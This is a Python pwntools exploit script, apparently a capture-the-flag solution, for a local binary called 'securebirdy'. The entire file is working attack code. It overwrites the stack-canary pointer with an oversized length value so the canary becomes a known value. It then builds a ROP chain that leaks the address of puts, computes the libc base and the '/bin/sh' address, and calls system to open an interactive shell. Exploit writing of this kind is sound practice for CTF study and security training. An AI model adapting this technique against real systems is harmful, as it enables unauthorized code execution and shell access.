#!/usr/bin/python3

from pwn import *

context.binary = target = ELF("./securebirdy", checksec=False)
r = process()

# funcs
s = lambda a: r.sendafter(b">> ", a)
ss = lambda a: r.sendlineafter(b">>> ", a)
sss = lambda a: r.sendafter(b">>> ", a)

# overwrite canary pointer
s(b"2")
ss(b"2147483648")
buf = b"A"*160
buf += p64(0x7fffff0000)
sss(buf)
s(b"1")

# new canary
canary = 0xffff0000400000

# gadgets
pop_rdi = 0x400ce3

# leak
buf = b"A"*144
buf += p64(canary)
buf += b"A"*(184-len(buf))
buf += p64(pop_rdi)
buf += p64(target.got.puts)
buf += p64(target.sym.puts)
buf += p64(target.sym.main)
s(b"2")
ss(b"2147483648")
sss(buf)
s(b"3")
r.recvuntil(b"OK\n")
puts = u64(r.recv(6).ljust(8, b"\x00"))
log.info("puts: 0x%lx", puts)
libc = puts - 0x77640
log.info("libc: 0x%lx", libc)
sh = libc + 0x197e34

# overwrite canary pointer
s(b"2")
ss(b"2147483648")
buf = b"A"*160
buf += p64(0x7fffff0000)
sss(buf)
s(b"1")

# pop
buf = b"A"*144
buf += p64(canary)
buf += b"A"*(184-len(buf))
buf += p64(pop_rdi)
buf += p64(sh)
buf += p64(pop_rdi+1)
buf += p64(target.sym.system)
s(b"2")
ss(b"2147483648")
sss(buf)
s(b"3")

r.interactive()
